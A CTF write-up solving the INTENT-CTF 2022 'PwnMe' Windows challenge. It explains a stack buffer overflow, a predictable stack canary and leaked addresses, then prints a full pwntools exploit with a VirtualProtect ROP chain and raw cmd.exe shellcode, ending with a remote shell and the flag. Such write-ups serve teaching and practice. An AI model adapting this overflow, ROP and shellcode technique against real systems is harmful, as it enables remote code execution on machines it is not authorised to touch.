INTENT-CTF 2022: PwnMe writeup
The annual IntentSummit conference organized an online CTF. This time, I experimented pwning a windows binary for the 1st time in my life. As a *nix hacker, it took me awhile to adapt my current knowledge to windows-related stuff. I had to learn about some windows calling conventions+little bit of WinAPI stuff. Also, I got to bring back to life my very old(and un-used) windows VM. Overall, this chall was fun and quite friendly :D
The chall
Like every typical pwn challenge, we were given a windows binary(PwnMe.exe
) and a remote host to launch our exploit on.
The PwnMe.exe
binary is a server, listening on port 8888. Our task is to create a malicious client that will trigger a memory corruption & takeover the RIP register to achieve RCE. It requires a little bit of Reverse Engineering skills to spot the vuln, but not too much. To make things easier, I re-named the variables in the IDA screenshots of this writeup so it will be easier to follow.
Spotting the bug
The server has a handle_client
function: In this function, the PwnMe.exe server calls recv()
with a size
field that we control. This dynamicly-sized buffer is stored in inputBuf
and later on copied to a stack buffer stackBuf[]
that has a static size of 4096.
Exploitation
To exploit this, we will:
- Send a “size prefix” that has a large size(over 4096, bigger than
stackBuf[]
) - Send a large buffer that will overwrite the return address on the stack
This is pretty straight-forward. However, there’s a stack canary/cookie validation in our way:
The canary is static, but XORed with dword_140005000
, which is initilized during the program startup:
srand(0x5CA1AB1Eu); // constant seed, allows prediction
dword_140005000 = rand(); // setting the value the program will XOR against the canary
Technically, we can predict the value of the canary by:
- Adding to our exploit a call to
srand(0x5CA1AB1E)
+rand()
to recover the value ofdword_140005000
- Use the return value and XOR it with
0xCAFEBABE
However, after some basic testing: I found that the value of (dword_140005000 ^ 0xCAFEBEEF)
is 0xCAFEE3E0
100% of the time(static seed, lol)
So now, the plan is:
- Send a “size prefix” that has a large size(over 4096, bigger than
stackBuf[4096]
) - Send a buffer of 4096 bytes + contents that will overwrite the return address on the stack
- After 4096 bytes, send
0xCAFEE3E0
. This will prevent the condition from entering the** STACK SMASHING DETECTED **
error/keep thestck_cookie
variable in the same state that it was before we started our corruption.
- After 4096 bytes, send
- Continue filling the stack buffer until you reach the return address.
- profit
After taking over the RIP register, we need to craft a ROP chain.
ROP Chain
During startup, the program sets us an rwx page with very useful gadgets which can help us to populate function arguments before we call them in our ROP chain.
v20 = VirtualAlloc(0i64, 0xC000ui64, 0x1000u, 0x40u);// allocating rwx page
v13 = (__int64)v20;
GetCurrentThreadStackLimits(&v25, &v24);
v4 = v20;
memset(v20, 0xCC, 0xC000ui64); // filling the buf with 'int3'/breakpoint instructions
// copying gadgets
*(_WORD *)v20 = word_140005004;
*(_WORD *)((char *)v4 + 5) = word_140005008;
*((_WORD *)v4 + 5) = word_14000500C;
*(_DWORD *)((char *)v4 + 15) = dword_140005010;
*((_DWORD *)v4 + 5) = dword_140005014;
*(_QWORD *)((char *)v4 + 25) = qword_140005018;
This ends-up in memory as:
Also, before calling handle_client
(which we discussed above): the server also gives us:
- The gadgets page address
- Address of VirtualProtect in memory
- RSP / stack leak
That’s, uhm, some very generous leaks lol
printf_wrap("[+] Listening on port %d with SOCKET %d\n", (unsigned int)v14);
s = sub_140001350(v19);
memset(&buf, 0, 0x1000ui64);
fmt_str((__int64)&buf, (__int64)"gadgets: 0x%llx\n", v13, v7);
v21 = &buf;
len = -1i64;
do
++len;
while ( v21[len] );
send(s, &buf, len, 4);
memset(&buf, 0, 0x1000ui64);
fmt_str((__int64)&buf, (__int64)"RSP : 0x%llx\n", (__int64)&retaddr, v8);
v22 = &buf;
v17 = -1i64;
do
++v17;
while ( v22[v17] );
send(s, &buf, v17, 4);
memset(&buf, 0, 0x1000ui64);
fmt_str((__int64)&buf, (__int64)"VirtualProtect: 0x%llx\n", (__int64)VirtualProtect, v9);
v23 = &buf;
v18 = -1i64;
do
++v18;
while ( v23[v18] );
send(s, &buf, v18, 4);
LODWORD(v11) = printf_wrap("[+] Handling client!\n", v10);
handle_client(v11, s);
So, in that case: we can put a shellcode on the stack(which is not executable), then, craft a ROP chain that will make it executable by:
pop rcx
(lpAddress);pop rdx
(dwSize);pop r8
(flNewProtect);pop r9
(lpflOldProtect) to prepare the args forVirtualProtect
- ret2
VirtualProtect
in order to make the stack executable - jump to shellcode with a
call rsp
gadget :D
Initial PoC(launched against my windows VM) with a calc.exe
shellcode:
Now, all we got left to do is replacing the calc.exe
shellcode with a cmd.exe
and send it to the CTF server.
full exploit:
#!/usr/bin/env python3
from pwn import *
io = remote('34.231.191.85', 8888) # ctf server
# io = remote('10.0.0.53', 8888) # windows vm for exploit-dev
# leaks
io.recvuntil(b'gadgets:')
gadgets_addr = int(io.recvuntil(b'\n', drop=True), 16)
io.recvuntil(b'RSP : ')
rsp = int(io.recvuntil(b'\n', drop=True), 16)
io.recvuntil(b'VirtualProtect:')
virtualProtect = int(io.recvuntil(b'\n', drop=True), 16)
print('[*] gadgets @ ', hex(gadgets_addr))
print('[*] RSP @ ', hex(rsp))
print('[*] VirtualProtect @ ', hex(virtualProtect))
# x64 fastcall gadgets
gadgets = {
'call_rsp': gadgets_addr,
'ret': gadgets_addr+0x11,
'call_rsp': gadgets_addr+0x19,
'pop_rcx': gadgets_addr+0x05,
'pop_rdx': gadgets_addr+0x0a,
'pop_r8': gadgets_addr+0x0f,
'pop_r9': gadgets_addr+0x14,
}
rwx_addr = (rsp-0x1250) & 0xfffffffffffff000 # for page alignment purposes
print('[*] rwx_addr @ ', hex(rwx_addr)) # should become rwx by the end of the rop chain
body = b''
body += b'A'*4
body += b'B'*(4096-0x8)
body += p64(0xCAFEE3E0) # stack cookie
body += b'D'*8
body += b'E'*8
body += b'F'*8
# rop chain begins
# [in] LPVOID lpAddress
body += p64(gadgets['pop_rcx'])
body += p64(rwx_addr)
# [in] SIZE_T dwSize
body += p64(gadgets['pop_rdx'])
body += p64(0x2000)
# [in] DWORD flNewProtect, PAGE_EXECUTE_READWRITE https://learn.microsoft.com/en-us/windows/win32/Memory/memory-protection-constants
body += p64(gadgets['pop_r8'])
body += p64(0x40)
# [out] PDWORD lpflOldProtect
body += p64(gadgets['pop_r9'])
body += p64(rsp-0x20)
# call VirtualProtect (https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect#syntax)
body += p64(virtualProtect)
# jump to shellcode
body += p64(gadgets['call_rsp'])
body += p64(rsp+len(body)+0x20) # addr of shellcode
body += b'\x90'*0x10 # NOPs padding
# pop a shell
body += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00"
body += b'\x90'*0x30
# preparing payload
payload = p64(len(body)) # size prefix
payload += body
io.send(payload)
io.interactive()
output:
$ ./hax.py DEBUG
[+] Opening connection to 34.231.191.85 on port 8888: Done
[DEBUG] Received 0x3c9 bytes:
b' ,------------. ,.--""-._\n'
b" | Alice's `. __/ `.\n"
b' | Adventures in | _,**" "*-. `.\n'
b" | Wonderland | ,' `. \\\n"
b" `---------------' ; _,.---._ \\ ,'\\ \\\n"
b" : ,' ,-.. `. \\' \\ :\n"
b' The Mad Hatter | ;_\\ (___)` `-..__ : |\n'
b' ;-\'`*\'" `*\' `--._ ` | ;\n'
b' /,-\'/ -. `---.` |"\n'
b' /_,\'`--=\'. `-.._,-" _\n'
b' (/\\\\,--. \\ ___-.`: //___\n'
b" /\\'''\\ ' | |-`| ( -__,'\n"
b" '. `--' ; ; ; ;/_/\n"
b" `. `.__,/ /_,' /`.~;\n"
b" _.-._|_/_,'.____/ /\n"
b' ..--" / =/ \\= \\ /\n'
b" / ;._.\\_.-`--'-._/ ____/\n"
b' \\ / /._/|.\\ ."\n'
b' `*--\'._ "-.: :\n'
b' :/".A` \\ |\n'
b' | |. `. :\n'
b' ; |. `. \\SSt\n'
b'\n'
[*] gadgets @ 0x1e666730000
[*] RSP @ 0x4c4856f9d8
[*] VirtualProtect @ 0x7ffbf7dcb990
[*] rwx_addr @ 0x4c4856e000
[*] Switching to interactive mode
*** YOU SEEM LIKE A NICE CLIENT :) ***
C:\Users\Administrator\Desktop
CMD.EXE was started with the above path as the current directory.
UNC paths are not supported. Defaulting to Windows directory.
Microsoft Windows [Version 10.0.20348.1249].
(c) Microsoft Corporation. All rights reserved.
C:\Windows>
C:\Windows>$ powershell
PS C:\Windows> $ ls C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
------ 12/13/2022 12:33 PM 3467264 appjaillauncher-rs.exe
-a---- 12/1/2022 8:59 PM 3466240 appjaillauncher-rs_.exe
-a---- 6/21/2016 3:36 PM 527 EC2 Feedback.website
-a---- 6/21/2016 3:36 PM 554 EC2 Microsoft Windows Guide.website
-a---- 12/1/2022 8:59 PM 41 flag.txt
-a---- 12/13/2022 10:03 AM 967 madhatter.txt
-a---- 12/13/2022 12:54 PM 78 pwnme.cmd
-a---- 12/13/2022 12:53 PM 12800 PwnMe.exe
-a---- 12/1/2022 9:42 PM 15872 PwnMe_local.exe
-a---- 12/1/2022 9:49 PM 12288 PwnMe_no_banner.exe
PS C:\Windows> $ cat C:\Users\Administrator\Desktop\flag.txt
INTENT{Y0u_D1d_1t!_Y0ur3_th3_Pwn_M4st3r!}
Thanks for the challenge! :D